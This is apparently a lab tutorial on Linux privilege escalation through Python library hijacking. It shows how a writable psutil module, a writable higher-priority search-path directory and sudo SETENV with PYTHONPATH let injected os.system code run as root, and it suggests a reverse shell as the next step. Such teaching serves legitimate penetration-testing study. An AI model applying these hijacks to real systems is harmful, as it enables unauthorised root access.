**Python Library Hijacking**

Python is one of the world's most popular and widely used programming languages and has already replaced many other programming languages in the IT industry. There are very many reasons why Python is so popular among programmers. One of them is that users can work with a vast collection of libraries.

Many libraries are used in Python and are used in many different fields. One of them is [NumPy](https://numpy.org/doc/stable/). NumPy is an open-source extension for Python. The module provides precompiled functions for numerical analysis. In particular, it allows easy handling of extensive lists and matrices. However, it offers many other essential features, such as functions of random number generation, Fourier transform, linear algebra, and many others. Furthermore, NumPy provides many mathematical functions for working with arrays and matrices.

Another library is [Pandas](https://pandas.pydata.org/docs/). Pandas is a library for data processing and data analysis with Python. It extends Python with data structures and functions for processing data tables. A particular strength of Pandas is time series analysis.

Python has [the Python standard library](https://docs.python.org/3/library/), with many modules on board from a standard installation of Python. These modules provide many solutions that would otherwise have to be laboriously worked out by writing our programs. There are countless hours of saved work here if one has an overview of the available modules and their possibilities. The modular system is integrated into this form for performance reasons. If one would automatically have all possibilities immediately available in the basic installation of Python without importing the corresponding module, the speed of all Python programs would suffer greatly.

In Python, we can import modules quite easily:

**Importing Modules**

Code: python

#!/usr/bin/env python3

# Method 1

import pandas

# Method 2

from pandas import \*

# Method 3

from pandas import Series

There are many ways in which we can hijack a Python library. Much depends on the script and its contents itself. However, there are three basic vulnerabilities where hijacking can be used:

1. Wrong write permissions
2. Library Path
3. PYTHONPATH environment variabale

**Wrong Write Permissions**

For example, we can imagine that we are in a developer's host on the company's intranet and that the developer is working with python. So we have a total of three components that are connected. This is the actual python script that imports a python module and the privileges of the script as well as the permissions of the module.

One or another python module may have write permissions set for all users by mistake. This allows the python module to be edited and manipulated so that we can insert commands or functions that will produce the results we want. If SUID/SGID permissions have been assigned to the Python script that imports this module, our code will automatically be included.

If we look at the set permissions of the mem\_stats.py script, we can see that it has a SUID set.

**Python Script**

Python Script

htb-student@lpenix:~$ ls -l mem\_stats.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem\_stats.py

So we can execute this script with the privileges of another user, in our case, as root. We also have permission to view the script and read its contents.

**Python Script - Contents**

Code: python

#!/usr/bin/env python3

import psutil

available\_memory = psutil.virtual\_memory().available \* 100 / psutil.virtual\_memory().total

print(f"Available memory: {round(available\_memory, 2)}%")

So this script is quite simple and only shows the available virtual memory in percent. We can also see in the second line that this script imports the module psutil and uses the function virtual\_memory().

So we can look for this function in the folder of psutil and check if this module has write permissions for us.

**Module Permissions**

Module Permissions

htb-student@lpenix:~$ grep -r "def virtual\_memory" /usr/local/lib/python3.8/dist-packages/psutil/\*

/usr/local/lib/python3.8/dist-packages/psutil/\_\_init\_\_.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_psaix.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_psbsd.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_pslinux.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_psosx.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_pssunos.py:def virtual\_memory():

/usr/local/lib/python3.8/dist-packages/psutil/\_pswindows.py:def virtual\_memory():

htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/\_\_init\_\_.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/\_\_init\_\_.py

Such permissions are most common in developer environments where many developers work on different scripts and may require higher privileges.

**Module Contents**

Code: python

...SNIP...

def virtual\_memory():

...SNIP...

global \_TOTAL\_PHYMEM

ret = \_psplatform.virtual\_memory()

# cached for later use in Process.memory\_percent()

\_TOTAL\_PHYMEM = ret.total

return ret

...SNIP...

This is the part in the library where we can insert our code. It is recommended to put it right at the beginning of the function. There we can insert everything we consider correct and effective. We can import the module os for testing purposes, which allows us to execute system commands. With this, we can insert the command id and check during the execution of the script if the inserted code is executed.

**Module Contents - Hijacking**

Code: python

...SNIP...

def virtual\_memory():

...SNIP...

#### Hijacking

import os

os.system('id')

global \_TOTAL\_PHYMEM

ret = \_psplatform.virtual\_memory()

# cached for later use in Process.memory\_percent()

\_TOTAL\_PHYMEM = ret.total

return ret

...SNIP...

Now we can run the script with sudo and check if we get the desired result.

**Privilege Escalation**

Privilege Escalation

htb-student@lpenix:~$ sudo /usr/bin/python3 ./mem\_status.py

uid=0(root) gid=0(root) groups=0(root)

uid=0(root) gid=0(root) groups=0(root)

Available memory: 79.22%

Success. As we can see from the result above, we were successfully able to hijack the library and have our code inside of the virtual\_memory() function run as root. Now that we have the desired result, we can edit the library again, but this time, insert a reverse shell that connects to our host as root.

**Library Path**

In Python, each version has a specified order in which libraries (modules) are searched and imported from. The order in which Python imports modules from are based on a priority system, meaning that paths higher on the list take priority over ones lower on the list. We can see this by issuing the following command:

**PYTHONPATH Listing**

PYTHONPATH Listing

htb-student@lpenix:~$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip

/usr/lib/python3.8

/usr/lib/python3.8/lib-dynload

/usr/local/lib/python3.8/dist-packages

/usr/lib/python3/dist-packages

To be able to use this variant, two prerequisites are necessary.

1. The module that is imported by the script is located under one of the lower priority paths listed via the PYTHONPATH variable.
2. We must have write permissions to one of the paths having a higher priority on the list.

Therefore, if the imported module is located in a path lower on the list and a higher priority path is editable by our user, we can create a module ourselves with the same name and include our own desired functions. Since the higher priority path is read earlier and examined for the module in question, Python accesses the first hit it finds and imports it before reaching the original and intended module.

In order for this to make a bit more sense, let us continue with the previous example and show how this can be exploited. Previously, the psutil module was imported into the mem\_stats.py script. We can see psutil's default installation location by issuing the following command:

**Psutil Default Installation Location**

Psutil Default Installation Location

htb-student@lpenix:~$ pip3 show psutil

...SNIP...

Location: /usr/local/lib/python3.8/dist-packages

...SNIP...

From this example, we can see that psutil is installed in the following path: /usr/local/lib/python3.8/dist-packages. From our previous listing of the PYTHONPATH variable, we have a reasonable amount of directories to choose from to see if there might be any misconfigurations in the environment to allow us write access to any of them. Let us check.

**Misconfigured Directory Permissions**

Misconfigured Directory Permissions

htb-student@lpenix:~$ ls -la /usr/lib/python3.8

total 4916

drwxr-xrwx 30 root root 20480 Dec 14 16:26 .

...SNIP...

After checking all of the directories listed, it appears that /usr/lib/python3.8 path is misconfigured in a way to allow any user to write to it. Cross-checking with values from the PYTHONPATH variable, we can see that this path is higher on the list than the path in which psutil is installed in. Let us try abusing this misconfiguration to create our own psutil module containing our own malicious virtual\_memory() function within the /usr/lib/python3.8 directory.

**Hijacked Module Contents - psutil.py**

Code: python

#!/usr/bin/env python3

import os

def virtual\_memory():

os.system('id')

In order to get to this point, we need to create a file called psutil.py containing the contents listed above in the previously mentioned directory. It is very important that we make sure that the module we create has the same name as the import as well as have the same function with the correct number of arguments passed to it as the function we are intending to hijack. This is critical as without either of these conditions being true, we will not be able perform this attack. After creating this file containing the example of our previous hijacking script, we have successfully prepped the system for exploitation.

Let us once again run the mem\_status.py script using sudo like in the previous example.

**Privilege Escalation via Hijacking Python Library Path**

Privilege Escalation via Hijacking Python Library Path

htb-student@lpenix:~$ sudo /usr/bin/python3 mem\_stats.py

uid=0(root) gid=0(root) groups=0(root)

Traceback (most recent call last):

File "mem\_stats.py", line 4, in <module>

available\_memory = psutil.virtual\_memory().available \* 100 / psutil.virtual\_memory().total

AttributeError: 'NoneType' object has no attribute 'available'

As we can see from the output, we have successfully gained execution as root through hijacking the module's path via a misconfiguration in the permissions of the /usr/lib/python3.8 directory.

**PYTHONPATH Environment Variable**

In the previous section, we touched upon the term PYTHONPATH, however, didn't fully explain it's use and importance regarding the functionality of Python. PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import. This is important as if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python's search functionality to a user-defined location when it comes time to import modules. We can see if we have the permissions to set environment variables for the python binary by checking our sudo permissions:

**Checking sudo permissions**

Checking sudo permissions

htb-student@lpenix:~$ sudo -l

Matching Defaults entries for htb-student on ACADEMY-LPENIX:

env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:

(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

As we can see from the example, we are allowed to run /usr/bin/python3 under the trusted permissions of sudo and are therefore allowed to set environment variables for use with this binary by the SETENV: flag being set. It is important to note, that due to the trusted nature of sudo, any environment variables defined prior to calling the binary are not subject to any restrictions regarding being able to set environment variables on the system. This means that using the /usr/bin/python3 binary, we can effectively set any environment variables under the context of our running program. Let's try to do so now using the psutil.py script from the last section.

**Privilege Escalation using PYTHONPATH Environment Variable**

Privilege Escalation using PYTHONPATH Environment Variable

htb-student@lpenix:~$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem\_stats.py

uid=0(root) gid=0(root) groups=0(root)

...SNIP...

In this example, we moved the previous python script from the /usr/lib/python3.8 directory to /tmp. From here we once again call /usr/bin/python3 to run mem\_stats.py, however, we specify that the PYTHONPATH variable contain the /tmp directory so that it forces Python to search that directory looking for the psutil module to import. As we can see, we once again have successfully run our script under the context of root.